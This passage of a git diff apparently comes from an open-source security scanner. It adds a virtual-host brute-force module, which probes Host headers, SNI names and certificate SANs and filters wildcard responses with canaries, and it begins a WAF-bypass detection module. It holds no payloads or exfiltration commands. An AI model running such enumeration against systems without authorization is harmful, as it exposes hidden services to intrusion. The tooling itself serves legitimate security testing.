{event.parsed_url.hostname}") + subdomain = event.parsed_url.hostname.removesuffix(basehost).rstrip(".") + return basehost, subdomain + + async def _get_baseline_response(self, event, normalized_url, host_ip): + """Get baseline response for a host using the appropriate method (HTTPS SNI or HTTP Host header)""" + is_https = event.parsed_url.scheme == "https" + host = event.parsed_url.netloc + + if is_https: + port = event.parsed_url.port or 443 + baseline_response = await self.helpers.web.curl( + url=f"https://{host}:{port}/", + resolve={"host": host, "port": port, "ip": host_ip}, + ) + else: + baseline_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": host}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + ) + + return baseline_response + + async def handle_event(self, event): + if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): + scheme = event.parsed_url.scheme + host = event.parsed_url.netloc + normalized_url = f"{scheme}://{host}" + + # since we normalize the URL to the host level, + if normalized_url in self.scanned_hosts: + return + + self.scanned_hosts[normalized_url] = event + + if self.config.get("force_basehost"): + basehost = self.config.get("force_basehost") + subdomain = "" + else: + basehost, subdomain = self._get_basehost(event) + + is_https = event.parsed_url.scheme == "https" + + host_ip = next(iter(event.resolved_hosts)) + try: + baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) + except CurlError as e: + self.warning(f"Failed to get baseline response for {normalized_url}: {e}") + return None + + if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): + self.verbose( + f"WILDCARD CHECK FAILED in handle_event: Skipping {normalized_url} - failed virtual host wildcard check" + ) + return None + else: + self.verbose(f"WILDCARD CHECK PASSED in handle_event: Proceeding with {normalized_url}") + + # Phase 1: Main virtual host bruteforce + if self.config.get("subdomain_brute", True): + self.verbose(f"=== Starting subdomain brute-force on {normalized_url} ===") + await self._run_virtualhost_phase( + "Target host Subdomain Brute-force", + normalized_url, + basehost, + host_ip, + is_https, + event, + "subdomain", + ) + + # only run mutations if there is an actual subdomain (to mutate) + if subdomain: + # Phase 2: Check existing host for mutations + if self.config.get("mutation_check", True): + self.verbose(f"=== Starting mutations check on {normalized_url} ===") + await self._run_virtualhost_phase( + "Mutations on target host", + normalized_url, + basehost, + host_ip, + is_https, + event, + "mutation", + wordlist=self.mutations_check(subdomain), + ) + + # Phase 3: Special virtual host list + if self.config.get("special_hosts", True): + self.verbose(f"=== Starting special virtual hosts check on {normalized_url} ===") + await self._run_virtualhost_phase( + "Special virtual host list", + normalized_url, + "", + host_ip, + is_https, + event, + "random", + wordlist=self.helpers.tempfile(self.special_virtualhost_list, pipe=False), + skip_dns_host=True, + ) + + # Phase 4: Obtain subject alternate names from certicate and analyze them + if self.config.get("certificate_sans", True): + self.verbose(f"=== Starting certificate SAN analysis on {normalized_url} ===") + if is_https: + subject_alternate_names = await self._analyze_subject_alternate_names(event.data) + if subject_alternate_names: + self.debug( + f"Found {len(subject_alternate_names)} Subject Alternative Names from certificate: {subject_alternate_names}" + ) + + # Use SANs as potential virtual hosts for testing + san_wordlist = self.helpers.tempfile(subject_alternate_names, pipe=False) + await self._run_virtualhost_phase( + "Certificate Subject Alternate Name", + normalized_url, + "", + host_ip, + is_https, + event, + "random", + wordlist=san_wordlist, + skip_dns_host=True, + ) + + async def _analyze_subject_alternate_names(self, url): + """Analyze subject alternate names from certificate""" + from OpenSSL import crypto + from bbot.modules.sslcert import sslcert + + parsed = urlparse(url) + host = parsed.netloc + + response = await self.helpers.web.curl(url=url) + if not response or not response.get("certs"): + self.debug(f"No certificate data available for {url}") + return [] + + cert_output = response["certs"] + subject_alt_names = [] + + try: + cert_lines = cert_output.split("\n") + pem_lines = [] + in_cert = False + + for line in cert_lines: + if "-----BEGIN CERTIFICATE-----" in line: + in_cert = True + pem_lines.append(line) + elif "-----END CERTIFICATE-----" in line: + pem_lines.append(line) + break + elif in_cert: + pem_lines.append(line) + + if pem_lines: + cert_pem = "\n".join(pem_lines) + cert = crypto.load_certificate(crypto.FILETYPE_PEM, cert_pem) + + # Use the existing SAN extraction method from sslcert module + sans = sslcert.get_cert_sans(cert) + + for san in sans: + self.debug(f"Found SAN: {san}") + if san != host and san not in subject_alt_names: + subject_alt_names.append(san) + else: + self.debug("No valid PEM certificate found in response") + + except Exception as e: + self.warning(f"Error parsing certificate for {url}: {e}") + + self.debug( + f"Found {len(subject_alt_names)} Subject Alternative Names: {subject_alt_names} (besides original target host {host})" + ) + return subject_alt_names + + async def _report_interesting_default_content(self, event, canary_hostname, host_ip, canary_response): + discovery_method = "Interesting Default Content (from intentionally-incorrect canary host)" + # Build URL with explicit authority to avoid double-port issues + authority = ( + f"{event.parsed_url.hostname}:{event.parsed_url.port}" + if event.parsed_url.port is not None + else event.parsed_url.hostname + ) + # Use the explicit canary hostname used in the wildcard request (works for HTTP Host and HTTPS SNI) + canary_host = (canary_hostname or "").split(":")[0] + virtualhost_dict = { + "host": str(event.host), + "url": f"{event.parsed_url.scheme}://{authority}/", + "virtual_host": canary_host, + "description": self._build_description(discovery_method, canary_response, True, host_ip), + "ip": host_ip, + } + + await self.emit_event( + virtualhost_dict, + "VIRTUAL_HOST", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + ) + + # Emit HTTP_RESPONSE event with the canary response data + # Format to match what badsecrets expects + headers = canary_response.get("headers", {}) + headers = self._format_headers(headers) + + # Get the scheme from the actual probe URL + probe_url = canary_response.get("url", "") + from urllib.parse import urlparse + + parsed_probe_url = urlparse(probe_url) + actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" + + http_response_data = { + "input": canary_host, + "url": f"{actual_scheme}://{canary_host}/", + "method": "GET", + "status_code": canary_response.get("http_code", 0), + "content_length": len(canary_response.get("response_data", "")), + "body": canary_response.get("response_data", ""), # badsecrets expects 'body' + "response_data": canary_response.get("response_data", ""), # keep for compatibility + "header": headers, + "raw_header": canary_response.get("raw_headers", ""), + } + + # Include location header for redirect handling + if "location" in headers: + http_response_data["location"] = headers["location"] + + http_response_event = await self.emit_event( + http_response_data, + "HTTP_RESPONSE", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {discovery_method} for {event.data} and found {{event.type}}: {canary_host}", + ) + # Set scope distance to match parent's scope distance for HTTP_RESPONSE events + if http_response_event: + http_response_event.scope_distance = event.scope_distance + + def _get_canary_random_host(self, host, basehost, mode="subdomain"): + """Generate a random host for the canary""" + # Seed RNG with domain to get consistent canary hosts for same domain + random.seed(host) + + # Generate canary hostname based on mode + if mode == "mutation": + # Prepend random 4-character string with dash to existing hostname + random_prefix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + canary_host = f"{random_prefix}-{host}" + elif mode == "subdomain": + # Default subdomain mode - add random subdomain + canary_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost + elif mode == "random_append": + # Append random string to existing hostname (first domain level) + random_suffix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + canary_host = f"{host.split('.')[0]}{random_suffix}.{'.'.join(host.split('.')[1:])}" + elif mode == "random": + # Fully random hostname with .com TLD + random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + canary_host = f"{random_host}.com" + else: + raise ValueError(f"Invalid canary mode: {mode}") + + return canary_host + + async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https, mode="subdomain"): + """Setup canary response for comparison using the appropriate technique. Returns canary response or None on failure.""" + + parsed = urlparse(normalized_url) + # Use hostname without port to avoid duplicating port in canary host + host = parsed.hostname or (parsed.netloc.split(":")[0] if ":" in parsed.netloc else parsed.netloc) + + # Seed RNG with domain to get consistent canary hosts for same domain + canary_host = self._get_canary_random_host(host, basehost, mode) + + # Get canary response + if is_https: + port = parsed.port or 443 + canary_response = await self.helpers.web.curl( + url=f"https://{canary_host}:{port}/", + resolve={"host": canary_host, "port": port, "ip": host_ip}, + ) + else: + http_port = parsed.port or 80 + canary_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": canary_host}, + resolve={"host": parsed.hostname, "port": http_port, "ip": host_ip}, + ) + + return canary_response + + async def _is_host_accessible(self, url): + """ + Check if a URL is already accessible via direct HTTP request. + Returns True if the host is accessible (and should be skipped), False otherwise. + """ + try: + response = await self.helpers.web.curl(url=url) + if response and int(response.get("http_code", 0)) > 0: + return True + else: + return False + except CurlError as e: + self.debug(f"Error checking accessibility of {url}: {e}") + return False + + async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, probe_response): + """Change one char in probe_host and test - if responses are similar, it's probably a wildcard""" + + # Extract hostname and port separately to avoid corrupting the port portion + original_hostname = event.parsed_url.hostname or "" + original_port = event.parsed_url.port + + # Try to mutate the first alphabetic character in the hostname + modified_hostname = None + for i, char in enumerate(original_hostname): + if char.isalpha(): + new_char = "z" if char != "z" else "a" + modified_hostname = original_hostname[:i] + new_char + original_hostname[i + 1 :] + break + + if modified_hostname is None: + # Fallback: generate random hostname of similar length (hostname-only) + modified_hostname = "".join( + random.choice(string.ascii_lowercase) for _ in range(len(original_hostname) or 12) + ) + + # Build modified host strings for each protocol + https_modified_host_for_sni = modified_hostname + http_modified_host_for_header = f"{modified_hostname}:{original_port}" if original_port else modified_hostname + + # Test modified host + if probe_scheme == "https": + port = event.parsed_url.port or 443 + # Log the canary URL for the wildcard SNI test + self.debug( + f"CANARY URL: https://{https_modified_host_for_sni}:{port}/ [phase=wildcard-check, mode=single-char-mutation]" + ) + wildcard_canary_response = await self.helpers.web.curl( + url=f"https://{https_modified_host_for_sni}:{port}/", + resolve={"host": https_modified_host_for_sni, "port": port, "ip": host_ip}, + ) + else: + # Log the canary URL for the wildcard Host header test + http_port = event.parsed_url.port or 80 + self.debug( + f"CANARY URL: {probe_scheme}://{http_modified_host_for_header if ':' in http_modified_host_for_header else f'{http_modified_host_for_header}:{http_port}'}/ [phase=wildcard-check, mode=single-char-mutation]" + ) + wildcard_canary_response = await self.helpers.web.curl( + url=f"{probe_scheme}://{event.parsed_url.netloc}/", + headers={"Host": http_modified_host_for_header}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + ) + + if not wildcard_canary_response or wildcard_canary_response["http_code"] == 0: + self.debug( + f"Wildcard check: {http_modified_host_for_header} failed to respond, assuming {probe_host} is valid" + ) + return True # Modified failed, original probably valid + + # If HTTP status codes differ, consider this a pass (not wildcard) + if probe_response.get("http_code") != wildcard_canary_response.get("http_code"): + self.debug( + f"WILDCARD CHECK OK (status mismatch): {probe_host} ({probe_response.get('http_code')}) vs {http_modified_host_for_header} ({wildcard_canary_response.get('http_code')})" + ) + if ( + self.config.get("report_interesting_default_content", True) + and wildcard_canary_response.get("http_code") == 200 + and len(wildcard_canary_response.get("response_data", "")) > 40 + ): + canary_hostname = ( + https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header + ) + await self._report_interesting_default_content( + event, canary_hostname, host_ip, wildcard_canary_response + ) + return True + + probe_simhash = await self.helpers.run_in_executor_mp(compute_simhash, probe_response["response_data"]) + wildcard_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, wildcard_canary_response["response_data"] + ) + similarity = self.helpers.simhash.similarity(probe_simhash, wildcard_simhash) + + # Compare original probe response with modified response + + result = similarity <= self.SIMILARITY_THRESHOLD + + if not result: + self.debug( + f"WILDCARD DETECTED: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> FAIL (wildcard detected)" + ) + else: + self.debug( + f"WILDCARD CHECK OK: {probe_host} vs {http_modified_host_for_header} similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}) -> PASS (not wildcard)" + ) + if ( + self.config.get("report_interesting_default_content", True) + and wildcard_canary_response.get("http_code") == 200 + and len(wildcard_canary_response.get("response_data", "")) > 40 + ): + canary_hostname = ( + https_modified_host_for_sni if probe_scheme == "https" else http_modified_host_for_header + ) + await self._report_interesting_default_content( + event, canary_hostname, host_ip, wildcard_canary_response + ) + + return result # True if they're different (good), False if similar (wildcard) + + async def _run_virtualhost_phase( + self, + discovery_method, + normalized_url, + basehost, + host_ip, + is_https, + event, + canary_mode, + wordlist=None, + skip_dns_host=False, + ): + """Helper method to run a virtual host discovery phase and optionally mutations""" + + canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode=canary_mode + ) + + if not canary_response: + self.debug(f"Failed to get canary response for {normalized_url}, skipping virtual host detection") + return [] + + results = await self.curl_virtualhost( + discovery_method, + normalized_url, + basehost, + event, + canary_response, + canary_mode, + wordlist, + skip_dns_host, + ) + + # Emit all valid results + for virtual_host_data in results: + # Emit VIRTUAL_HOST event + await self.emit_event( + virtual_host_data["virtualhost_dict"], + "VIRTUAL_HOST", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']} (similarity: {virtual_host_data['similarity']:.2%})", + ) + + # Emit HTTP_RESPONSE event with the probe response data + # Format to match what badsecrets expects + headers = virtual_host_data["probe_response"].get("headers", {}) + headers = self._format_headers(headers) + + # Get the scheme from the actual probe URL + probe_url = virtual_host_data["probe_response"].get("url", "") + from urllib.parse import urlparse + + parsed_probe_url = urlparse(probe_url) + actual_scheme = parsed_probe_url.scheme if parsed_probe_url.scheme else "http" + + http_response_data = { + "input": virtual_host_data["probe_host"], + "url": f"{actual_scheme}://{virtual_host_data['probe_host']}/", # Use the actual virtual host URL with correct scheme + "method": "GET", + "status_code": virtual_host_data["probe_response"].get("http_code", 0), + "content_length": len(virtual_host_data["probe_response"].get("response_data", "")), + "body": virtual_host_data["probe_response"].get("response_data", ""), # badsecrets expects 'body' + "response_data": virtual_host_data["probe_response"].get( + "response_data", "" + ), # keep for compatibility + "header": headers, + "raw_header": virtual_host_data["probe_response"].get("raw_headers", ""), + } + + # Include location header for redirect handling + if "location" in headers: + http_response_data["location"] = headers["location"] + + http_response_event = await self.emit_event( + http_response_data, + "HTTP_RESPONSE", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {virtual_host_data['probe_host']}", + ) + # Set scope distance to match parent's scope distance for HTTP_RESPONSE events + if http_response_event: + http_response_event.scope_distance = event.scope_distance + + # Emit DNS_NAME_UNVERIFIED event if needed + if virtual_host_data["skip_dns_host"] is False: + await self.emit_event( + virtual_host_data["virtualhost_dict"]["virtual_host"], + "DNS_NAME_UNVERIFIED", + parent=event, + tags=["virtual-host"], + context=f"{{module}} discovered virtual host via {virtual_host_data['discovery_method']} for {event.data} and found {{event.type}}: {{event.data}}", + ) + + async def curl_virtualhost( + self, + discovery_method, + normalized_url, + basehost, + event, + canary_response, + canary_mode, + wordlist=None, + skip_dns_host=False, + ): + if wordlist is None: + wordlist = self.brute_wordlist + + # Get baseline host for comparison and determine scheme from event + baseline_host = event.parsed_url.netloc + + # Collect all words for concurrent processing + candidates_to_check = [] + for word in self.helpers.read_file(wordlist): + word = word.strip() + if not word: + continue + + # Construct virtual host header + if basehost: + # Wordlist entries are subdomain prefixes - append basehost + probe_host = f"{word}.{basehost}" + + else: + # No basehost - use as-is + probe_host = word + + # Skip if this would be the same as the original host + if probe_host == baseline_host: + continue + + candidates_to_check.append(probe_host) + + self.debug(f"Loaded {len(candidates_to_check)} candidates from wordlist for {discovery_method}") + + host_ips = event.resolved_hosts + total_tests = len(candidates_to_check) * len(host_ips) + + self.verbose( + f"Initiating {total_tests} virtual host tests ({len(candidates_to_check)} candidates × {len(host_ips)} IPs) with max {self.max_concurrent} concurrent requests" + ) + + # Collect all virtual host results before emitting + virtual_host_results = [] + + # Process results as they complete with concurrency control + try: + # Build coroutines on-demand without wrapper + coroutines = ( + self._test_virtualhost( + normalized_url, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ) + for host_ip in host_ips + for probe_host in candidates_to_check + ) + + async for completed in self.helpers.as_completed(coroutines, self.max_concurrent): + try: + result = await completed + except CurlError as e: + if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): + self.debug(f"CurlError during shutdown (suppressed): {e}") + break + self.debug(f"CurlError in virtualhost test (skipping this test): {e}") + continue + if result: # Only append non-None results + virtual_host_results.append(result) + self.debug( + f"ADDED RESULT {len(virtual_host_results)}: {result['probe_host']} (similarity: {result['similarity']:.3f}) [Status: {result['status_code']} | Size: {result['content_length']} bytes]" + ) + + # Early exit if we're clearly hitting false positives + if len(virtual_host_results) >= self.MAX_RESULTS_FLOOD_PROTECTION: + self.warning( + f"RESULT FLOOD DETECTED: found {len(virtual_host_results)} virtual hosts (limit: {self.MAX_RESULTS_FLOOD_PROTECTION}), likely false positives - stopping further tests and skipping reporting" + ) + break + + except CurlError as e: + if getattr(self.scan, "stopping", False) or getattr(self.scan, "aborting", False): + self.debug(f"CurlError in as_completed during shutdown (suppressed): {e}") + return [] + self.warning(f"CurlError in as_completed, stopping all tests: {e}") + return [] + + # Return results for emission at _run_virtualhost_phase level + return virtual_host_results + + async def _test_virtualhost( + self, + normalized_url, + probe_host, + basehost, + event, + canary_response, + canary_mode, + skip_dns_host, + host_ip, + discovery_method, + ): + """ + Test a single virtual host candidate using HTTP Host header or HTTPS SNI + Returns virtual host data if detected, None otherwise + """ + is_https = event.parsed_url.scheme == "https" + + # Make request - different approach for HTTP vs HTTPS + if is_https: + port = event.parsed_url.port or 443 + probe_response = await self.helpers.web.curl( + url=f"https://{probe_host}:{port}/", + resolve={"host": probe_host, "port": port, "ip": host_ip}, + ) + else: + port = event.parsed_url.port or 80 + probe_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": probe_host}, + resolve={"host": event.parsed_url.hostname, "port": port, "ip": host_ip}, + ) + + if not probe_response or probe_response["response_data"] == "": + protocol = "HTTPS" if is_https else "HTTP" + self.debug(f"{protocol} probe failed for {probe_host} on ip {host_ip} - no response or empty data") + return None + + similarity = await self.analyze_response(probe_host, probe_response, canary_response, event) + if similarity is None: + return None + + # Different from canary = possibly real virtual host, similar to canary = probably junk + if similarity > self.SIMILARITY_THRESHOLD: + self.debug( + f"REJECTING {probe_host}: similarity {similarity:.3f} > threshold {self.SIMILARITY_THRESHOLD} (too similar to canary)" + ) + return None + else: + self.verbose( + f"POTENTIAL VIRTUALHOST {probe_host} sim={similarity:.3f} " + f"probe: {probe_response.get('http_code', 'N/A')} | {len(probe_response.get('response_data', ''))}B | {probe_response.get('url', 'N/A')} ; " + f"canary: {canary_response.get('http_code', 'N/A')} | {len(canary_response.get('response_data', ''))}B | {canary_response.get('url', 'N/A')}" + ) + + # Re-verify canary consistency before emission + if not await self._verify_canary_consistency( + canary_response, canary_mode, normalized_url, is_https, basehost, host_ip + ): + self.verbose( + f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" + ) + raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") + # Canary is consistent, proceed + + probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" + + # Check for keyword-based virtual host wildcards + if not await self._verify_canary_keyword(probe_response, probe_url, is_https, basehost, host_ip): + return None + + # Don't emit if this would be the same as the original netloc + if probe_host == event.parsed_url.netloc: + self.verbose(f"Skipping emit for virtual host {probe_host} - is the same as the original netloc") + return None + + # Check if this virtual host is externally accessible + port = event.parsed_url.port or (443 if is_https else 80) + + is_externally_accessible = await self._is_host_accessible(probe_url) + + virtualhost_dict = { + "host": str(event.host), + "url": normalized_url, + "virtual_host": probe_host, + "description": self._build_description( + discovery_method, probe_response, is_externally_accessible, host_ip + ), + "ip": host_ip, + } + + # Skip if we require inaccessible hosts and this one is accessible + if self.config.get("require_inaccessible", True) and is_externally_accessible: + self.verbose( + f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True" + ) + return None + + # Return data for emission at _run_virtualhost_phase level + technique = "SNI" if is_https else "Host header" + return { + "virtualhost_dict": virtualhost_dict, + "similarity": similarity, + "probe_host": probe_host, + "skip_dns_host": skip_dns_host, + "discovery_method": f"{discovery_method} ({technique})", + "status_code": probe_response.get("http_code", "N/A"), + "content_length": len(probe_response.get("response_data", "")), + "probe_response": probe_response, + } + + async def analyze_response(self, probe_host, probe_response, canary_response, event): + probe_status = probe_response["http_code"] + canary_status = canary_response["http_code"] + + # Check for invalid/no response - skip processing + if probe_status == 0 or not probe_response.get("response_data"): + self.debug(f"SKIPPING {probe_host} - no valid HTTP response (status: {probe_status})") + return None + + if probe_status == 400: + self.debug(f"SKIPPING {probe_host} - got 400 Bad Request") + return None + + # Check for 421 Misdirected Request - clear signal that virtual host doesn't exist + if probe_status == 421: + self.debug(f"SKIPPING {probe_host} - got 421 Misdirected Request (SNI not configured)") + return None + + if probe_status == 502 or probe_status == 503: + self.debug(f"SKIPPING {probe_host} - got 502 or 503 Bad Gateway") + return None + + # Check for 403 Forbidden - signal that the virtual host is rejected (unless we started with a 403) + if probe_status == 403 and canary_status != 403: + self.debug(f"SKIPPING {probe_host} - got 403 Forbidden when canary status was {canary_status}") + return None + + if probe_status == 508: + self.debug(f"SKIPPING {probe_host} - got 508 Loop Detected") + return None + + # Check for redirects back to original domain - indicates virtual host just redirects to canonical + if probe_status in [301, 302]: + redirect_url = probe_response.get("redirect_url", "") + if redirect_url and str(event.parsed_url.netloc) in redirect_url: + self.debug(f"SKIPPING {probe_host} - redirects back to original domain {event.parsed_url.netloc}") + return None + + if any(waf_string in probe_response["response_data"] for waf_string in self.waf_strings): + self.debug(f"SKIPPING {probe_host} - got WAF response") + return None + + # Calculate content similarity to canary (junk response) + # Use probe hostname for normalization to remove hostname reflection differences + + probe_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, probe_response["response_data"], normalization_filter=probe_host + ) + canary_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, canary_response["response_data"], normalization_filter=probe_host + ) + + similarity = self.helpers.simhash.similarity(probe_simhash, canary_simhash) + + if similarity <= self.SIMILARITY_THRESHOLD: + self.verbose( + f"POTENTIAL MATCH: {probe_host} vs canary - similarity: {similarity:.3f} (threshold: {self.SIMILARITY_THRESHOLD}), probe status: {probe_status}, canary status: {canary_status}" + ) + + return similarity + + async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip): + """Perform last-minute check on the canary for keyword-based virtual host wildcards""" + + try: + keyword_canary_response = await self._get_canary_response( + probe_url, basehost, host_ip, is_https, mode="random_append" + ) + except CurlError as e: + self.warning(f"Canary verification failed due to curl error: {e}") + return False + + if not keyword_canary_response: + return False + + # If we get the exact same content after altering the hostname, keyword based virtual host routing is likely being used + if keyword_canary_response["response_data"] == original_response["response_data"]: + self.verbose( + f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - response data is exactly the same" + ) + return False + + original_simhash = await self.helpers.run_in_executor_mp(compute_simhash, original_response["response_data"]) + keyword_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, keyword_canary_response["response_data"] + ) + similarity = self.helpers.simhash.similarity(original_simhash, keyword_simhash) + + if similarity >= self.SIMILARITY_THRESHOLD: + self.verbose( + f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" + ) + return False + return True + + async def _verify_canary_consistency( + self, original_canary_response, canary_mode, normalized_url, is_https, basehost, host_ip + ): + """Perform last-minute check on the canary for consistency""" + + # Re-run the same canary test as we did initially + try: + consistency_canary_response = await self._get_canary_response( + normalized_url, basehost, host_ip, is_https, mode=canary_mode + ) + except CurlError as e: + self.warning(f"Canary verification failed due to curl error: {e}") + return False + + if not consistency_canary_response: + return False + + # Check if HTTP codes are different first (hard failure) + if original_canary_response["http_code"] != consistency_canary_response["http_code"]: + self.verbose( + f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" + ) + return False + + # if response data is exactly the same, we're good + if original_canary_response["response_data"] == consistency_canary_response["response_data"]: + return True + + # Fallback - use similarity comparison for response data (allows slight differences) + original_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, original_canary_response["response_data"] + ) + consistency_simhash = await self.helpers.run_in_executor_mp( + compute_simhash, consistency_canary_response["response_data"] + ) + similarity = self.helpers.simhash.similarity(original_simhash, consistency_simhash) + if similarity < self.SIMILARITY_THRESHOLD: + self.verbose( + f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" + ) + return False + return True + + def _extract_title(self, response_data): + """Extract title from HTML response""" + soup = self.helpers.beautifulsoup(response_data, "html.parser") + if soup and soup.title and soup.title.string: + return soup.title.string.strip() + return None + + def _build_description(self, discovery_string, probe_response, is_externally_accessible=None, host_ip=None): + """Build detailed description with discovery technique and content info""" + http_code = probe_response.get("http_code", "N/A") + response_size = len(probe_response.get("response_data", "")) + + description = f"Discovery Technique: [{discovery_string}], Discovered Content: [Status Code: {http_code}]" + + # Add title if available + title = self._extract_title(probe_response.get("response_data", "")) + if title: + description += f" [Title: {title}]" + description += f" [Size: {response_size} bytes]" + + # Add IP address if available + if host_ip: + description += f" [IP: {host_ip}]" + + # Add accessibility information if available + if is_externally_accessible is not None: + accessibility_status = "externally accessible" if is_externally_accessible else "not externally accessible" + description += f" [Access: {accessibility_status}]" + + return description + + def mutations_check(self, virtualhost): + mutations_list = [] + for mutation in self.helpers.word_cloud.mutations(virtualhost, cloud=False): + mutations_list.extend(["".join(mutation), "-".join(mutation)]) + mutations_list_file = self.helpers.tempfile(mutations_list, pipe=False) + return mutations_list_file + + async def finish(self): + # phase 5: check existing hosts with wordcloud + self.verbose(" === Starting Finish() Wordcloud check === ") + if not self.config.get("wordcloud_check", False): + self.debug("FINISH METHOD: Wordcloud check is disabled, skipping finish phase") + return + + if not self.helpers.word_cloud.keys(): + self.verbose("FINISH METHOD: No wordcloud data available for finish phase") + return + + # Filter wordcloud words: no dots, reasonable length limit + all_wordcloud_words = list(self.helpers.word_cloud.keys()) + filtered_words = [] + for word in all_wordcloud_words: + # Filter out words with dots (likely full domains) + if "." in word: + continue + # Filter out very long words (likely noise) + if len(word) > 15: + continue + # Filter out very short words (likely noise) + if len(word) < 2: + continue + filtered_words.append(word) + + tempfile = self.helpers.tempfile(filtered_words, pipe=False) + self.debug( + f"FINISH METHOD: Starting wordcloud check on {len(self.scanned_hosts)} hosts using {len(filtered_words)} filtered words from wordcloud" + ) + + for host, event in self.scanned_hosts.items(): + if host not in self.wordcloud_tried_hosts: + host_parsed_url = urlparse(host) + + if self.config.get("force_basehost"): + basehost = self.config.get("force_basehost") + else: + basehost, subdomain = self._get_basehost(event) + + # Get fresh canary and original response for this host + is_https = host_parsed_url.scheme == "https" + host_ip = next(iter(event.resolved_hosts)) + + self.verbose(f"FINISH METHOD: Starting wildcard check for {host}") + baseline_response = await self._get_baseline_response(event, host, host_ip) + if not await self._wildcard_canary_check( + host_parsed_url.scheme, host_parsed_url.netloc, event, host_ip, baseline_response + ): + self.debug( + f"WILDCARD CHECK FAILED in finish: Skipping {host} in wordcloud phase - failed virtual host wildcard check" + ) + self.wordcloud_tried_hosts.add(host) # Mark as tried to avoid retrying + continue + else: + self.debug(f"WILDCARD CHECK PASSED in finish: Proceeding with wordcloud mutations for {host}") + + await self._run_virtualhost_phase( + "Target host wordcloud mutations", + host, + basehost, + host_ip, + is_https, + event, + "subdomain", + wordlist=tempfile, + ) + self.wordcloud_tried_hosts.add(host) + + async def filter_event(self, event): + if ( + "cdn-cloudflare" in event.tags + or "cdn-imperva" in event.tags + or "cdn-akamai" in event.tags + or "cdn-cloudfront" in event.tags + ): + self.debug(f"Not processing URL {event.data} because it's behind a WAF or CDN, and that's pointless") + return False + return True diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py new file mode 100644 index 0000000000..dc7fe38151 --- /dev/null +++ b/bbot/modules/waf_bypass.py @@ -0,0 +1,304 @@ +from radixtarget.tree.ip import IPRadixTree +from bbot.modules.base import BaseModule +from bbot.core.helpers.simhash import compute_simhash + + +class waf_bypass(BaseModule): + """ + Module to detect WAF bypasses by finding direct IP access to WAF-protected content. + + Overview: + Throughout the scan, we collect: + 1. WAF-protected domains (identified by CloudFlare/Imperva tags) and their SimHash content fingerprints + 2. All domain->IP mappings from DNS resolution of URL events + 3. Cloud IPs separately tracked via "cloud-ip" tags + + In finish(), we test if WAF-protected content can be accessed directly via IPs from non-protected domains. + Optionally, it explores IP neighbors within the same ASN to find additional bypass candidates. + """ + + watched_events = ["URL"] + produced_events = ["VULNERABILITY"] + options = { + "similarity_threshold": 0.90, + "search_ip_neighbors": True, + "neighbor_cidr": 24, # subnet size to explore when gathering neighbor IPs + } + + options_desc = { + "similarity_threshold": "Similarity threshold for content matching", + "search_ip_neighbors": "Also check IP neighbors of the target domain", + "neighbor_cidr": "CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true", + } + flags = ["active", "safe", "web-thorough"] + meta = { + "description": "Detects potential WAF bypasses", + "author": "@liquidsec", + "created_date": "2025-09-26", + } + + async def setup(self): + # 